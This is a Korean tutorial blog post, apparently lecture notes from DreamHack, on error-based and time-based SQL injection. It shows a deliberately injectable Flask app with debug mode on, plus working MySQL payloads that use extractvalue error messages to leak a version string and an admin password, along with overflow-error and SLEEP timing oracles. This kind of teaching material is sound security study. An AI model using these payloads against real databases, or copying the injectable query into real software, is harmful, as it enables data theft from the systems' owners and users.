[Web Hacking - Server] Error & Time based SQL Injection

KyungH·2024년 12월 10일

DH Lecture - Web Hacking

목록 보기
17/17
post-thumbnail

📝 Error & Time based SQL Injection

애플리케이션이 동작하는 형태에 따라 SQL Injection의 공격 형태가 달라진다.
SQL 쿼리가 실행되는 결과를 공격자가 눈으로 확인할 수 있는 경우,
쿼리 결과를 애플리케이션에서 출력하지 않아 직접 확인하기 어려운 경우가 있다.

이러한 상황에서 공격을 수행하는 Error & Time based SQL Injection은
취약점 여부는 같으나, 공격 성공 여부를 어떻게 판단하느냐에 따라 구분된다.


📌 Error based SQL Injection

Error based SQL Injection은 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의
정보를 획득하는 공격 기법이다.

예제 코드)

## pip3 install PyMySQL //pymysql 라이브러리를 설치하기 위한 명령어
from flask import Flask, request
import pymysql

app = Flask(__name__)

def getConnection():
  return pymysql.connect(host='localhost', user='dream', password='hack', db='dreamhack', charset='utf8')

@app.route('/' , methods=['GET'])
def index():
  username = request.args.get('username')
  sql = "select username from users where username='%s'" %username

  conn = getConnection()
  curs = conn.cursor(pymysql.cursors.DictCursor)
  curs.execute(sql)
  rows = curs.fetchall()
  conn.close()

  if(rows):
    return "True"
  else:
    return "False"

app.run(host='0.0.0.0', port=8000, debug=True)

코드를 살펴보면 사용자의 입력값이 별다은 검사 없이 SQL 쿼리에 포함되어 있으므로
SQL Injection 취약점이 발생하나, 쿼리 실행 결과만을 판단하여 True/False로 응답한다.

app.run(host='0.0.0.0', port=8000, debug=True)

Flask 프레임워크에서 디버그 모드를 활성하 하였기 때문에 코드에서 오류가 발생할 때
발생 원인을 같이 출력해준다. 공격자는 이 오류 메시지를 이용하여 데이터를 획득한다.

공격 코드 작성

위에서 얘기한 "에러"는 쿼리가 실행되기 전에 발생하는 문법적 오류가 아닌,
쿼리가 실행되고 나서 발생하는 런타임 에러가 필요하다.

extractvalue 함수

이 함수는 첫 번째 인자로 전달된 XML 데이터에서 두 번째 인자인 XPATH 식을 통해
데이터를 추출하는 함수이다. 두 번째 인자가 올바르지 않은 XPATH 식일 경우
에러 메시지와 함께 잘못된 식을 출력한다.

올바른 예시)

mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
/*
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test                                          |
+-----------------------------------------------+
1 row in set (0.00 sec)
*/

잘못된 예시)

mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식

위의 경우에서 올바르지 않은 XPATH 식을 전달하면 에러 메시지에 삽입한 식의 결과가
출력되는 것을 확인할 수 있다.

공격 예시)

SELECT extractvalue(1,concat(0x3a,version()));
/*
ERROR 1105 (HY000): XPATH syntax error: ':5.7.29-0ubuntu0.16.04.1-log'
*/

따라서 다음과 같이 함수를 이용하면 그 함수의 실행결과를 에러 메시지로 확인할 수 있다.

mysql> SELECT extractvalue(1,concat(0x3a,
(SELECT password FROM users WHERE username='admin')));
/*
ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd'
*/

추가로, 서브쿼리를 이용하여 데이터베이스의 정보를 추출할 수 있다.


📌 Error based Blind SQL Injection

위에서 살펴본 Error based SQL Injection 공격에 Blind SQLI 를 활용하는 공격이다.
이를 통하여 임의로 에러를 발생시키고 참/거짓을 판단하여 데이터를 추출한다.

예시 쿼리)

mysql> select if(1=1, 9e307*2,0);
/*
ERROR 1690 (22003): DOUBLE value is out of range in '(9e307 * 2)'
*/
mysql> select if(1=0, 9e307*2,0);
/*
+--------------------+
| if(1=0, 9e307*2,0) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)
*/

MySQL의 Doble 자료형 최댓값을 초과시켜 에러를 발생시킨다. 이를 통해 에러 발생 여부를
확인하고 참/거짓 여부를 확인한다.

Short-circuit evaluation (단락 평가)

논리 연산의 결과가 이미 결정된 경우 나머지 조건을 평가하지 않는 방식을 이용하여
참/거짓 여부를 판단할 수도 있다. 아래는 SLEEP 함수를 이용한 참/거짓 판단이다.
앞의 조건이 거짓일 경우 AND 연산에는 뒤의 식을 평가하지 않는다.

mysql> SELECT 0 AND SLEEP(1);
/*
+----------------+
| 0 AND SLEEP(1) |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)
*/
mysql> SELECT 1 AND SLEEP(10);
/*
+-----------------+
| 1 AND SLEEP(10) |
+-----------------+
|               0 |
+-----------------+
1 row in set (10.04 sec)
*/

📌 Time based SQL Injection

Time based SQL Injection은 시간 지연을 이용하여 쿼리의 참/거짓 여부를 판단하는
공격 기법이다. 시간을 지연시키는 방법으로는 시간이 많이 소요되는 연산을 수행하는
헤비 쿼리를 사용하는 방법이 있다.

대표적으로 SLEEP함수를 이용하여 시간지연 발생여부를 확인할 수 있다.

mysql> SELECT IF(1=1, sleep(1), 0);
/*
mysql> SELECT IF(1=1, sleep(1), 0);
+----------------------+
| IF(1=1, sleep(1), 0) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (1.00 sec)
*/
mysql> SELECT IF(1=0, sleep(1), 0);
/*
mysql> SELECT IF(1=0, sleep(1), 0);
+----------------------+
| IF(1=0, sleep(1), 0) |
+----------------------+
|                    0 |
+----------------------+
1 row in set (0.00 sec)
*/

References

DreamHack 강의 - [WHA-S] ExploitTech: Error & Time based SQL Injection

0개의 댓글